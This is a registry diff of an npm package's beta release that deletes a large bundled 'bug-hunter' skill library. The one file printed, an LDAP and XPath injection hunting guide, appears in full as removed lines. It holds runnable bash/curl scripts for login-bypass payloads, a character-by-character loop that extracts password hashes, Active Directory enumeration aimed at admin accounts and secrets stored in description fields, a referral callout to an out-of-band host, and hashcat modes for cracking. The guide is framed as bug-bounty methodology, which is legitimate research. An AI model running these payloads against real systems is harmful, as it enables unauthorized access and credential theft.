@hostclubeos/miraos 0.0.4-beta → 0.0.5-beta
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled/bug-hunter/SKILL.md +7 -0
- package/chunks/{acpAgent-F4OT4AQQ.js → acpAgent-UHWDA3W7.js} +2 -2
- package/chunks/{chunk-ECNTMKHI.js → chunk-2GVKPBW5.js} +1 -1
- package/chunks/{chunk-HPGUQCRQ.js → chunk-2TDRP3IX.js} +1 -1
- package/chunks/{chunk-C24YTZET.js → chunk-4IVYVCCU.js} +1 -1
- package/chunks/{chunk-CKBEAZAV.js → chunk-62DMHXLL.js} +1 -1
- package/chunks/{chunk-AYU4PDSQ.js → chunk-744QTJR2.js} +2 -2
- package/chunks/{chunk-4XV2522J.js → chunk-D3YOXHQF.js} +1 -1
- package/chunks/{chunk-5SJFYZQJ.js → chunk-FRADUGRC.js} +1 -1
- package/chunks/{chunk-WDLXS4A3.js → chunk-FXANOHXI.js} +3 -3
- package/chunks/{chunk-JM46SKXF.js → chunk-MQWKOOSR.js} +1 -1
- package/chunks/{chunk-4TJKJ2LG.js → chunk-MUS4ADP7.js} +1 -1
- package/chunks/{chunk-FUIRLSNA.js → chunk-N4RIISOE.js} +1 -1
- package/chunks/{chunk-PUPIORBU.js → chunk-NKWATWMD.js} +1 -1
- package/chunks/{chunk-7LXU4NUI.js → chunk-NYM67KKZ.js} +1 -1
- package/chunks/{chunk-TIWH3MUJ.js → chunk-PXBJPUGN.js} +1 -1
- package/chunks/{chunk-LISKSG7B.js → chunk-QEIX42MZ.js} +1 -1
- package/chunks/{chunk-BZMSTSKY.js → chunk-RKFNQQNA.js} +1 -1
- package/chunks/{chunk-AXBNQS6C.js → chunk-SK3QOQR4.js} +1 -1
- package/chunks/{chunk-33G7MOU6.js → chunk-XZNF4YNN.js} +1 -1
- package/chunks/{daemon-status-provider-NBPLE4JN.js → daemon-status-provider-F6KB2LNG.js} +1 -1
- package/chunks/{fast-path-66F2TWKE.js → fast-path-DWPD5EGQ.js} +1 -1
- package/chunks/{llm-LZ3HARC2.js → llm-RBI7KXDE.js} +3 -3
- package/chunks/{local-6KBSW7N2.js → local-HSG47CNJ.js} +1 -1
- package/chunks/{managed-local-serve-2N3IAB3D.js → managed-local-serve-YE4JDFNP.js} +1 -1
- package/chunks/{managed-runtime-bootstrap-M4P43K7W.js → managed-runtime-bootstrap-SHEXUEZN.js} +1 -1
- package/chunks/{managed-runtime-ssh-worker-WWZ7SJ7U.js → managed-runtime-ssh-worker-BZNJV7IB.js} +1 -1
- package/chunks/{memory-D62BXIJW.js → memory-JTDN5AEA.js} +1 -1
- package/chunks/{nonInteractiveCli-Z4A7THMG.js → nonInteractiveCli-BXHX6EIU.js} +1 -1
- package/chunks/{review-LM7KW6Y5.js → review-PC4IDLCG.js} +1 -1
- package/chunks/{run-qwen-serve-77UZS4JA.js → run-qwen-serve-XRWVWOZK.js} +1 -1
- package/chunks/{serve-RHO7RZ45.js → serve-JCUT4WK7.js} +1 -1
- package/chunks/{server-5HEOZG3T.js → server-HMTRZJF7.js} +1 -1
- package/chunks/{session-RT7VH6GE.js → session-RGLZU6KY.js} +1 -1
- package/chunks/{start-opentui-ui-I2XXWTJS.js → start-opentui-ui-YNTPK7LX.js} +1 -1
- package/chunks/{startInteractiveUI-774LJIJD.js → startInteractiveUI-MWA2VYTJ.js} +1 -1
- package/chunks/{validateNonInterActiveAuth-633WYCVH.js → validateNonInterActiveAuth-3433WFLE.js} +1 -1
- package/chunks/{version-77KBVA2F.js → version-XCFKTEY3.js} +1 -1
- package/cli.js +1 -1
- package/package.json +2 -2
- package/bundled/bug-hunter/references/apk-redteam-pipeline/SKILL.md +0 -407
- package/bundled/bug-hunter/references/bb-local-toolkit/SKILL.md +0 -1558
- package/bundled/bug-hunter/references/bb-methodology/SKILL.md +0 -513
- package/bundled/bug-hunter/references/bug-bounty/SKILL.md +0 -1604
- package/bundled/bug-hunter/references/bugcrowd-reporting/SKILL.md +0 -331
- package/bundled/bug-hunter/references/cloud-iam-deep/SKILL.md +0 -521
- package/bundled/bug-hunter/references/enterprise-vpn-attack/SKILL.md +0 -356
- package/bundled/bug-hunter/references/evidence-hygiene/SKILL.md +0 -401
- package/bundled/bug-hunter/references/exploit-completion/SKILL.md +0 -155
- package/bundled/bug-hunter/references/hunt-api-misconfig/SKILL.md +0 -268
- package/bundled/bug-hunter/references/hunt-aspnet/SKILL.md +0 -277
- package/bundled/bug-hunter/references/hunt-ato/SKILL.md +0 -140
- package/bundled/bug-hunter/references/hunt-auth-bypass/SKILL.md +0 -449
- package/bundled/bug-hunter/references/hunt-brute-force/SKILL.md +0 -297
- package/bundled/bug-hunter/references/hunt-business-logic/SKILL.md +0 -237
- package/bundled/bug-hunter/references/hunt-cache-poison/SKILL.md +0 -338
- package/bundled/bug-hunter/references/hunt-captcha-bypass/SKILL.md +0 -92
- package/bundled/bug-hunter/references/hunt-cicd/SKILL.md +0 -267
- package/bundled/bug-hunter/references/hunt-clickjacking/SKILL.md +0 -66
- package/bundled/bug-hunter/references/hunt-cloud-misconfig/SKILL.md +0 -195
- package/bundled/bug-hunter/references/hunt-cors/SKILL.md +0 -291
- package/bundled/bug-hunter/references/hunt-csrf/SKILL.md +0 -374
- package/bundled/bug-hunter/references/hunt-deserialization/SKILL.md +0 -178
- package/bundled/bug-hunter/references/hunt-dispatch/SKILL.md +0 -380
- package/bundled/bug-hunter/references/hunt-dom/SKILL.md +0 -279
- package/bundled/bug-hunter/references/hunt-exceptional-conditions/SKILL.md +0 -67
- package/bundled/bug-hunter/references/hunt-file-upload/SKILL.md +0 -158
- package/bundled/bug-hunter/references/hunt-fintech-graphql/SKILL.md +0 -245
- package/bundled/bug-hunter/references/hunt-forgot-password/SKILL.md +0 -70
- package/bundled/bug-hunter/references/hunt-graphql/SKILL.md +0 -368
- package/bundled/bug-hunter/references/hunt-grpc/SKILL.md +0 -273
- package/bundled/bug-hunter/references/hunt-host-header/SKILL.md +0 -265
- package/bundled/bug-hunter/references/hunt-html-injection/SKILL.md +0 -62
- package/bundled/bug-hunter/references/hunt-http-smuggling/SKILL.md +0 -87
- package/bundled/bug-hunter/references/hunt-idor/SKILL.md +0 -389
- package/bundled/bug-hunter/references/hunt-jwt-crypto/SKILL.md +0 -177
- package/bundled/bug-hunter/references/hunt-k8s/SKILL.md +0 -293
- package/bundled/bug-hunter/references/hunt-laravel/SKILL.md +0 -211
- package/bundled/bug-hunter/references/hunt-ldap/SKILL.md +0 -307
- package/bundled/bug-hunter/references/hunt-lfi/SKILL.md +0 -266
- package/bundled/bug-hunter/references/hunt-llm-ai/SKILL.md +0 -245
- package/bundled/bug-hunter/references/hunt-mfa-bypass/SKILL.md +0 -134
- package/bundled/bug-hunter/references/hunt-misc/SKILL.md +0 -333
- package/bundled/bug-hunter/references/hunt-nextjs/SKILL.md +0 -255
- package/bundled/bug-hunter/references/hunt-nodejs/SKILL.md +0 -219
- package/bundled/bug-hunter/references/hunt-nosqli/SKILL.md +0 -166
- package/bundled/bug-hunter/references/hunt-ntlm-info/SKILL.md +0 -270
- package/bundled/bug-hunter/references/hunt-oauth/SKILL.md +0 -414
- package/bundled/bug-hunter/references/hunt-open-redirect/SKILL.md +0 -179
- package/bundled/bug-hunter/references/hunt-race-condition/SKILL.md +0 -485
- package/bundled/bug-hunter/references/hunt-rag-vector/SKILL.md +0 -167
- package/bundled/bug-hunter/references/hunt-rce/SKILL.md +0 -494
- package/bundled/bug-hunter/references/hunt-saml/SKILL.md +0 -112
- package/bundled/bug-hunter/references/hunt-session/SKILL.md +0 -298
- package/bundled/bug-hunter/references/hunt-shadow-api/SKILL.md +0 -153
- package/bundled/bug-hunter/references/hunt-sharepoint/SKILL.md +0 -437
- package/bundled/bug-hunter/references/hunt-source-leak/SKILL.md +0 -301
- package/bundled/bug-hunter/references/hunt-spa-api/SKILL.md +0 -123
- package/bundled/bug-hunter/references/hunt-springboot/SKILL.md +0 -241
- package/bundled/bug-hunter/references/hunt-sqli/SKILL.md +0 -422
- package/bundled/bug-hunter/references/hunt-ssrf/SKILL.md +0 -514
- package/bundled/bug-hunter/references/hunt-ssti/SKILL.md +0 -117
- package/bundled/bug-hunter/references/hunt-subdomain/SKILL.md +0 -335
- package/bundled/bug-hunter/references/hunt-tls-network/SKILL.md +0 -355
- package/bundled/bug-hunter/references/hunt-websocket/SKILL.md +0 -285
- package/bundled/bug-hunter/references/hunt-xss/SKILL.md +0 -450
- package/bundled/bug-hunter/references/hunt-xxe/SKILL.md +0 -422
- package/bundled/bug-hunter/references/ios-redteam-pipeline/SKILL.md +0 -287
- package/bundled/bug-hunter/references/m365-entra-attack/SKILL.md +0 -384
- package/bundled/bug-hunter/references/meme-coin-audit/SKILL.md +0 -358
- package/bundled/bug-hunter/references/mid-engagement-ir-detection/SKILL.md +0 -353
- package/bundled/bug-hunter/references/offensive-osint/README.md +0 -98
- package/bundled/bug-hunter/references/offensive-osint/SKILL.md +0 -399
- package/bundled/bug-hunter/references/offensive-osint/references/breach-and-credentials.md +0 -128
- package/bundled/bug-hunter/references/offensive-osint/references/dork-corpus.md +0 -180
- package/bundled/bug-hunter/references/offensive-osint/references/helpers-and-automation.md +0 -231
- package/bundled/bug-hunter/references/offensive-osint/references/identity-fabric.md +0 -305
- package/bundled/bug-hunter/references/offensive-osint/references/people-osint.md +0 -105
- package/bundled/bug-hunter/references/offensive-osint/references/probes-and-wordlists.md +0 -1266
- package/bundled/bug-hunter/references/offensive-osint/references/recon-stack.md +0 -282
- package/bundled/bug-hunter/references/offensive-osint/references/recon-techniques.md +0 -341
- package/bundled/bug-hunter/references/offensive-osint/references/saas-public-surfaces.md +0 -138
- package/bundled/bug-hunter/references/offensive-osint/references/secret-patterns.md +0 -67
- package/bundled/bug-hunter/references/offensive-osint/references/secret-validators.md +0 -329
- package/bundled/bug-hunter/references/offensive-osint/references/sector-notes.md +0 -72
- package/bundled/bug-hunter/references/offensive-osint/references/severity-matrix.md +0 -108
- package/bundled/bug-hunter/references/offensive-osint/references/specialized-osint.md +0 -199
- package/bundled/bug-hunter/references/offensive-osint/references/tooling-install.md +0 -188
- package/bundled/bug-hunter/references/offensive-osint/scripts/assets/FONT-LICENSE.txt +0 -13
- package/bundled/bug-hunter/references/offensive-osint/scripts/assets/archivo-black.woff2 +0 -0
- package/bundled/bug-hunter/references/offensive-osint/scripts/dashboard.py +0 -968
- package/bundled/bug-hunter/references/offensive-osint/scripts/h1_reference.py +0 -402
- package/bundled/bug-hunter/references/offensive-osint/scripts/secret_scan.py +0 -180
- package/bundled/bug-hunter/references/okta-attack/SKILL.md +0 -397
- package/bundled/bug-hunter/references/osint-methodology/README.md +0 -66
- package/bundled/bug-hunter/references/osint-methodology/SKILL.md +0 -1704
- package/bundled/bug-hunter/references/recon-scope-triage/SKILL.md +0 -89
- package/bundled/bug-hunter/references/redteam-mindset/SKILL.md +0 -401
- package/bundled/bug-hunter/references/redteam-report-template/SKILL.md +0 -347
- package/bundled/bug-hunter/references/regression-hunting/SKILL.md +0 -98
- package/bundled/bug-hunter/references/report-writing/SKILL.md +0 -568
- package/bundled/bug-hunter/references/security-arsenal/SKILL.md +0 -912
- package/bundled/bug-hunter/references/supply-chain-attack-recon/SKILL.md +0 -648
- package/bundled/bug-hunter/references/triage-validation/SKILL.md +0 -418
- package/bundled/bug-hunter/references/vmware-vcenter-attack/SKILL.md +0 -372
- package/bundled/bug-hunter/references/web2-recon/SKILL.md +0 -698
- package/bundled/bug-hunter/references/web3-audit/SKILL.md +0 -606
|
@@ -1,307 +0,0 @@
|
|
|
1
|
-
---
|
|
2
|
-
name: hunt-ldap
|
|
3
|
-
description: "Hunt LDAP Injection and XPath Injection — authentication bypass, blind char-by-char attribute exfiltration, AD user/group enumeration, XML-store XPath bypass. Covers the LDAP special-character set (* ( ) \\ NUL /), search-filter-context vs DN-injection, parenthesis-balancing, AND/OR filter logic, and {SSHA}/{CRYPT} userPassword exfil on non-AD directories. Use when target uses LDAP/AD authentication, corporate SSO with a directory backend, an address-book/people-search API, or XML-based data stores queried with XPath."
|
|
4
|
-
sources: hackerone_public, owasp, portswigger
|
|
5
|
-
report_count: 0
|
|
6
|
-
---
|
|
7
|
-
|
|
8
|
-
# HUNT-LDAP — LDAP Injection & XPath Injection
|
|
9
|
-
|
|
10
|
-
> Grounding note: LDAP injection is rarely disclosed with verbatim payloads on
|
|
11
|
-
> public platforms (most live on internal-pentest reports). This skill is
|
|
12
|
-
> grounded in the **OWASP LDAP Injection Prevention / Testing Guide
|
|
13
|
-
> (WSTG-INPV-06)**, **PortSwigger Web Security Academy (LDAP injection)**, and
|
|
14
|
-
> the **RFC 4515** filter grammar — all publicly verifiable references rather
|
|
15
|
-
> than invented HackerOne IDs. Do not cite a report you cannot link.
|
|
16
|
-
|
|
17
|
-
## Crown Jewel Targets
|
|
18
|
-
|
|
19
|
-
LDAP injection that bypasses authentication = **Critical**. Blind attribute
|
|
20
|
-
exfiltration of credentials/secrets = **High**. AD enumeration alone = Medium-High.
|
|
21
|
-
|
|
22
|
-
**Highest-value chains:**
|
|
23
|
-
- **LDAP auth bypass** — close the `uid` filter and append an always-true OR so the
|
|
24
|
-
bind/search returns the admin entry without a valid password.
|
|
25
|
-
- **Blind attribute exfil** — char-by-char extraction of an attribute value via a
|
|
26
|
-
boolean oracle (login success/failure, result count, or response length).
|
|
27
|
-
- **userPassword hash exfil (non-AD only)** — on OpenLDAP/389-DS the
|
|
28
|
-
`userPassword` attribute can hold `{SSHA}`/`{CRYPT}` hashes that ARE readable
|
|
29
|
-
by query. See the AD-vs-generic warning below.
|
|
30
|
-
- **XPath injection auth bypass** — `' or '1'='1` against XML-backed auth.
|
|
31
|
-
|
|
32
|
-
---
|
|
33
|
-
|
|
34
|
-
## CRITICAL — Active Directory vs generic LDAP
|
|
35
|
-
|
|
36
|
-
Do **not** conflate the two. They behave very differently:
|
|
37
|
-
|
|
38
|
-
| | Generic LDAP (OpenLDAP, 389-DS, ApacheDS) | Active Directory |
|
|
39
|
-
|---|---|---|
|
|
40
|
-
| Password attribute | `userPassword` — may hold `{SSHA}`/`{MD5}`/`{CRYPT}` and **is readable** if ACL allows | `unicodePwd` — **write-only**, never returned by any search |
|
|
41
|
-
| Hash exfil via injection | **Possible** where ACLs leak `userPassword` | **Not possible** — there is no readable hash attribute over LDAP |
|
|
42
|
-
| Useful enum attrs | `uid`, `cn`, `mail`, `userPassword` | `sAMAccountName`, `userPrincipalName`, `mail`, `memberOf`, `description` (often holds plaintext secrets!) |
|
|
43
|
-
|
|
44
|
-
**Do not tell a reader that blind LDAP injection yields AD password hashes — it
|
|
45
|
-
does not.** `unicodePwd` is write-only. Against AD, the win is enumeration
|
|
46
|
-
(`sAMAccountName`, `memberOf`, `description`/`info` fields that admins misuse to
|
|
47
|
-
store passwords) and auth bypass — not hash dumping. The hash-exfil technique
|
|
48
|
-
applies **only** to non-AD directories exposing `userPassword`.
|
|
49
|
-
|
|
50
|
-
---
|
|
51
|
-
|
|
52
|
-
## Attack Surface Signals
|
|
53
|
-
|
|
54
|
-
```
|
|
55
|
-
Corporate SSO / intranet login pages (often legacy Java/Spring/PHP)
|
|
56
|
-
Windows + IIS + "integrated" directory auth
|
|
57
|
-
/api/ldap/* /api/directory/* /people /address-book /search?dir=
|
|
58
|
-
"Find a colleague" / org-chart / employee-search features
|
|
59
|
-
XML-backed config or auth → XPath injection candidate
|
|
60
|
-
Error strings that confirm an LDAP backend:
|
|
61
|
-
javax.naming.NameNotFoundException
|
|
62
|
-
javax.naming.directory.InvalidSearchFilterException
|
|
63
|
-
LDAP: error code 49 - 80090308 (AD invalid creds / bind failure)
|
|
64
|
-
com.sun.jndi.ldap.* / System.DirectoryServices / ldap_search():
|
|
65
|
-
"Bad search filter" / net.ldap (Go) / python-ldap SERVER_DOWN
|
|
66
|
-
```
|
|
67
|
-
|
|
68
|
-
---
|
|
69
|
-
|
|
70
|
-
## LDAP filter grammar (RFC 4515) — why injection works
|
|
71
|
-
|
|
72
|
-
A login filter is typically built by string-concat:
|
|
73
|
-
|
|
74
|
-
```
|
|
75
|
-
(&(uid=<USERNAME>)(userPassword=<PASSWORD>))
|
|
76
|
-
```
|
|
77
|
-
|
|
78
|
-
`&` = AND, `|` = OR, `!` = NOT. **Filters are prefix/Polish notation** — the
|
|
79
|
-
operator comes first and every sub-filter is parenthesised. To inject you must
|
|
80
|
-
(a) escape the current `(uid=...)` group, (b) inject your own logic, and
|
|
81
|
-
(c) leave the overall parenthesis count **balanced** or the server throws a
|
|
82
|
-
filter-syntax error instead of executing.
|
|
83
|
-
|
|
84
|
-
### The special-character set — TEST EACH ONE
|
|
85
|
-
|
|
86
|
-
These characters are syntactically meaningful and MUST be escaped by a safe app
|
|
87
|
-
(RFC 4515 §3). If the app reflects an error or behaves differently when you send
|
|
88
|
-
them raw, the input is unescaped → injectable:
|
|
89
|
-
|
|
90
|
-
| Char | Filter escape | Why it matters |
|
|
91
|
-
|------|---------------|----------------|
|
|
92
|
-
| `*` | `\2a` | wildcard — matches any value |
|
|
93
|
-
| `(` | `\28` | opens a filter group |
|
|
94
|
-
| `)` | `\29` | closes a filter group |
|
|
95
|
-
| `\` | `\5c` | escape char itself |
|
|
96
|
-
| NUL | `\00` | string terminator — truncates filter in C-backed servers |
|
|
97
|
-
| `/` | (DN context) | RDN separator — relevant for DN injection |
|
|
98
|
-
|
|
99
|
-
**Search-filter context vs DN injection** are different bugs:
|
|
100
|
-
- **Search-filter injection** (most common): your input lands inside a
|
|
101
|
-
`(attr=VALUE)` filter. Payloads use `* ( ) & | !`.
|
|
102
|
-
- **DN injection**: your input is concatenated into a Distinguished Name
|
|
103
|
-
(`uid=VALUE,ou=people,dc=corp`). Here `,` `=` `+` `"` `\` `<` `>` `;` and `/`
|
|
104
|
-
matter, and a `*` is NOT a wildcard. Test both — the payloads do not transfer.
|
|
105
|
-
|
|
106
|
-
---
|
|
107
|
-
|
|
108
|
-
## Step-by-Step Hunting Methodology
|
|
109
|
-
|
|
110
|
-
### Phase 1 — Confirm an LDAP backend (baseline first)
|
|
111
|
-
|
|
112
|
-
```bash
|
|
113
|
-
# ALWAYS capture a control response first — you compare everything to this.
|
|
114
|
-
BASE=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}" \
|
|
115
|
-
-X POST https://$TARGET/api/login \
|
|
116
|
-
-H "Content-Type: application/json" \
|
|
117
|
-
-d '{"username":"validlookinguser","password":"wrongpass"}')
|
|
118
|
-
echo "BASELINE (valid-format, wrong pw): $BASE"
|
|
119
|
-
|
|
120
|
-
# Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.
|
|
121
|
-
# An INJECTABLE app → 500 / filter-syntax error / different size.
|
|
122
|
-
curl -s -X POST https://$TARGET/api/login \
|
|
123
|
-
-H "Content-Type: application/json" \
|
|
124
|
-
-d '{"username":"test)","password":"x"}' | grep -iE \
|
|
125
|
-
"naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"
|
|
126
|
-
```
|
|
127
|
-
|
|
128
|
-
A lone `)` that produces a syntax error/500 while a balanced payload does not is
|
|
129
|
-
the cleanest LDAP-injection tell — note it, you will need it as proof.
|
|
130
|
-
|
|
131
|
-
### Phase 2 — Auth-bypass payloads (balance your parentheses)
|
|
132
|
-
|
|
133
|
-
```bash
|
|
134
|
-
# Target filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))
|
|
135
|
-
# Goal: make the uid sub-filter always-true and neutralise the password clause.
|
|
136
|
-
|
|
137
|
-
# Wildcard-everything (works when password clause is dropped by a trailing comment-like break):
|
|
138
|
-
# username = *)(uid=*))(|(uid=* password = anything
|
|
139
|
-
# Always-true admin (OR uid=*):
|
|
140
|
-
# username = admin)(|(uid=*) (note: leaves one extra ')' — see below)
|
|
141
|
-
# NUL-truncate the password clause (C-backed servers):
|
|
142
|
-
# username = admin)(uid=*))%00 password = x
|
|
143
|
-
|
|
144
|
-
USERNAME_PAYLOADS=(
|
|
145
|
-
'admin))(|(uid=*' # close uid + close &, open OR uid=* — balance check below
|
|
146
|
-
'*)(uid=*))(|(uid=*' # full always-true, self-balancing classic
|
|
147
|
-
'admin)(!(userPassword=ZZZ))' # AND NOT a password that is never set → always true
|
|
148
|
-
'admin*' # simple wildcard suffix — try first, lowest noise
|
|
149
|
-
)
|
|
150
|
-
|
|
151
|
-
for P in "${USERNAME_PAYLOADS[@]}"; do
|
|
152
|
-
R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
|
|
153
|
-
-H "Content-Type: application/json" \
|
|
154
|
-
-d "{\"username\":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' "$P"),\"password\":\"anything\"}")
|
|
155
|
-
echo "PAYLOAD: $P"
|
|
156
|
-
echo "RESP: ${R: -40}"
|
|
157
|
-
echo "BASE: $BASE <-- compare http_code+size to rule out false positive"
|
|
158
|
-
echo "---"
|
|
159
|
-
done
|
|
160
|
-
```
|
|
161
|
-
|
|
162
|
-
**Parenthesis-balancing rule of thumb:** count `(` minus `)` in the *resulting*
|
|
163
|
-
full filter, not just your payload. If the app appends `)(userPassword=...))`
|
|
164
|
-
after your input, leave the right number of trailing `)` so the final string is
|
|
165
|
-
balanced. An unbalanced filter = syntax error = NOT a bypass (false positive).
|
|
166
|
-
|
|
167
|
-
### Phase 3 — Blind exfil with a CONTROLLED oracle (not raw byte-count)
|
|
168
|
-
|
|
169
|
-
Raw `size_download` diffing is noise-prone (WAF banners, CSRF tokens, timestamps,
|
|
170
|
-
length-jitter on the injected char itself). Use a **paired true/false control**
|
|
171
|
-
so the oracle is the *response*, not the absolute size.
|
|
172
|
-
|
|
173
|
-
```bash
|
|
174
|
-
# Oracle pair: a known-TRUE filter and a known-FALSE filter on a public attr.
|
|
175
|
-
# TRUE : admin)(uid=*))(|(uid=* -> entry exists
|
|
176
|
-
# FALSE: admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ
|
|
177
|
-
probe () { # $1 = filter-tail payload -> prints normalized size
|
|
178
|
-
curl -s -o /dev/null -w "%{size_download}" -X POST https://$TARGET/api/login \
|
|
179
|
-
-H "Content-Type: application/json" \
|
|
180
|
-
-d "{\"username\":\"$1\",\"password\":\"x\"}"
|
|
181
|
-
}
|
|
182
|
-
T=$(probe 'admin)(uid=*))(|(uid=*')
|
|
183
|
-
F=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ')
|
|
184
|
-
echo "TRUE-class size=$T FALSE-class size=$F"
|
|
185
|
-
[ "$T" = "$F" ] && { echo "No length oracle — try a STATUS or BODY-MARKER oracle, or OOB."; exit; }
|
|
186
|
-
|
|
187
|
-
# Now extract char-by-char. The boolean test compares against $T/$F, NOT a guess.
|
|
188
|
-
# Filter: (&(uid=admin)(userPassword=<PREFIX><CHAR>*)) on a NON-AD directory.
|
|
189
|
-
PREFIX=""
|
|
190
|
-
for pos in $(seq 1 32); do
|
|
191
|
-
for C in {a..z} {A..Z} {0..9} '$' '/' '.' '+' '=' '{' '}'; do
|
|
192
|
-
S=$(probe "admin)(userPassword=${PREFIX}${C}*))(|(uid=*")
|
|
193
|
-
if [ "$S" = "$T" ]; then PREFIX="${PREFIX}${C}"; echo "[$pos] -> $PREFIX"; break; fi
|
|
194
|
-
done
|
|
195
|
-
done
|
|
196
|
-
echo "RECOVERED: $PREFIX"
|
|
197
|
-
```
|
|
198
|
-
|
|
199
|
-
False-positive guards for blind exfil:
|
|
200
|
-
- **Repeat each positive char 3x** and confirm the size is stable — length-jitter
|
|
201
|
-
from the attacker-controlled char itself is the #1 false positive.
|
|
202
|
-
- Confirm the **FALSE control still returns the FALSE size** after each round (the
|
|
203
|
-
app didn't just start erroring on every request — WAF block looks like a match).
|
|
204
|
-
- If body length is unreliable, switch the oracle to **HTTP status**, a **body
|
|
205
|
-
marker string** (`"Invalid credentials"` present/absent), or **timing** with a
|
|
206
|
-
heavy filter — but only after establishing a stable baseline delta.
|
|
207
|
-
|
|
208
|
-
### Phase 4 — XPath injection (XML-backed auth)
|
|
209
|
-
|
|
210
|
-
```bash
|
|
211
|
-
# Normal: //users/user[name/text()='ADMIN' and password/text()='PASS']
|
|
212
|
-
# Bypass closes the name predicate and OR-trues the whole expression.
|
|
213
|
-
XPATH_PAYLOADS=(
|
|
214
|
-
"' or '1'='1"
|
|
215
|
-
"' or ''='"
|
|
216
|
-
"admin' or '1'='1' or 'a'='b" # keeps quoting balanced
|
|
217
|
-
"x'] | //user/* | //user[name()='x" # blind: dump all user nodes (XPath has no comments)
|
|
218
|
-
"*[contains(name(),'pass')]" # node-name discovery
|
|
219
|
-
)
|
|
220
|
-
for P in "${XPATH_PAYLOADS[@]}"; do
|
|
221
|
-
E=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$P")
|
|
222
|
-
R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
|
|
223
|
-
--data-urlencode "username=$P" --data-urlencode "password=x")
|
|
224
|
-
echo "$P -> ${R: -24}"
|
|
225
|
-
done
|
|
226
|
-
# XPath has NO comment syntax — you must keep quotes/brackets balanced, unlike SQLi.
|
|
227
|
-
```
|
|
228
|
-
|
|
229
|
-
### Phase 5 — AD enumeration via wildcard (count oracle, with control)
|
|
230
|
-
|
|
231
|
-
```bash
|
|
232
|
-
# Establish that prefix='zzqx' (unlikely) returns ~0 and prefix='a' returns more.
|
|
233
|
-
# A directory that returns the SAME count for both is NOT leaking via wildcard.
|
|
234
|
-
count () { curl -s -X POST https://$TARGET/api/directory/search \
|
|
235
|
-
-H "Content-Type: application/json" -d "{\"filter\":\"(sAMAccountName=$1*)\"}" \
|
|
236
|
-
| python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("results",d.get("users",[]))))' 2>/dev/null; }
|
|
237
|
-
CTRL=$(count "zzqx_unlikely")
|
|
238
|
-
echo "control count (should be ~0): $CTRL"
|
|
239
|
-
for L in {a..z}; do echo "$L* -> $(count $L) (vs control $CTRL)"; done
|
|
240
|
-
# Then pivot to memberOf / description for privileged accounts:
|
|
241
|
-
# (&(sAMAccountName=*)(memberOf=*Domain Admins*))
|
|
242
|
-
# (description=*pw*) (description=*pass*) — admins stash secrets here
|
|
243
|
-
```
|
|
244
|
-
|
|
245
|
-
### Phase 6 — Tooling & OOB confirmation
|
|
246
|
-
|
|
247
|
-
```bash
|
|
248
|
-
# Validate the inferred filter directly if you ever get LDAP creds / a bind:
|
|
249
|
-
ldapsearch -x -H ldap://$AD_HOST -D "CORP\\user" -w "$PW" \
|
|
250
|
-
-b "dc=corp,dc=local" "(&(objectClass=user)(sAMAccountName=admin*))" sAMAccountName memberOf
|
|
251
|
-
|
|
252
|
-
# Burp: Intruder over the char set for blind exfil; the Web Security Academy
|
|
253
|
-
# "Blind LDAP injection" labs mirror the Phase-3 oracle exactly.
|
|
254
|
-
# OOB (rare but decisive): some JNDI/LDAP stacks resolve a referral. If you can
|
|
255
|
-
# inject a referral/URL the server dereferences, point it at Collaborator:
|
|
256
|
-
# (uid=*))(referral=ldap://<COLLAB>/x) — a DNS/LDAP hit at Collaborator
|
|
257
|
-
# is server-side proof with zero ambiguity. Treat any Collaborator interaction
|
|
258
|
-
# as the gold-standard confirmation for otherwise-blind cases.
|
|
259
|
-
```
|
|
260
|
-
|
|
261
|
-
---
|
|
262
|
-
|
|
263
|
-
## Chain Table
|
|
264
|
-
|
|
265
|
-
| LDAP finding | Chain to | Impact |
|
|
266
|
-
|--------------|----------|--------|
|
|
267
|
-
| Auth-bypass (always-true filter) | Admin/SSO panel as first directory entry | Critical |
|
|
268
|
-
| AD enumeration (`sAMAccountName`) | Username list → password spray / credential stuffing | Mass-ATO risk |
|
|
269
|
-
| `memberOf` enumeration | Identify Domain Admins → targeted phishing/spray | Targeted compromise |
|
|
270
|
-
| `description`/`info` field read | Plaintext creds admins stashed there | Direct credential leak |
|
|
271
|
-
| Blind exfil of `userPassword` **(non-AD only)** | `{SSHA}` (salted SHA-1) → hashcat `-m 111` (`{SSHA256}`=1411, `{SSHA512}`=1711); `{CRYPT}` → mode depends on the `$id$` prefix (`$1$`=500, `$6$`=1800) → offline crack | High |
|
|
272
|
-
| LDAP referral → Collaborator | Server-side request / internal directory reach | SSRF-class, confirms blind |
|
|
273
|
-
|
|
274
|
-
> AD has no readable password attribute — do not list "extract AD hashes" as a
|
|
275
|
-
> chain. Against AD, the credential win comes from `description`/`info` misuse or
|
|
276
|
-
> from enumerated usernames feeding a spray, never from `unicodePwd`.
|
|
277
|
-
|
|
278
|
-
---
|
|
279
|
-
|
|
280
|
-
## Validation — rule out the false positive BEFORE you report
|
|
281
|
-
|
|
282
|
-
A "bypass" or "match" is only real once you have eliminated syntax-error,
|
|
283
|
-
WAF-block, and length-jitter explanations.
|
|
284
|
-
|
|
285
|
-
- [ ] **Auth bypass:** the always-true payload returns a **valid authenticated
|
|
286
|
-
session** (session cookie + access to a post-login resource), and the same
|
|
287
|
-
request with one paren removed returns a **filter-syntax error** — proving
|
|
288
|
-
the filter parsed and executed, not that the app fell open on every input.
|
|
289
|
-
- [ ] **Negative control:** an equivalently-shaped but logically-FALSE payload
|
|
290
|
-
(`)(uid=NONEXISTENT_ZZZ)`) returns the **failure** response. If both
|
|
291
|
-
true-class and false-class "succeed", you found a broken endpoint, not LDAP
|
|
292
|
-
injection.
|
|
293
|
-
- [ ] **Blind exfil:** each recovered char reproduces 3x with stable size; the
|
|
294
|
-
FALSE control still reads FALSE between rounds; recovered value verified by
|
|
295
|
-
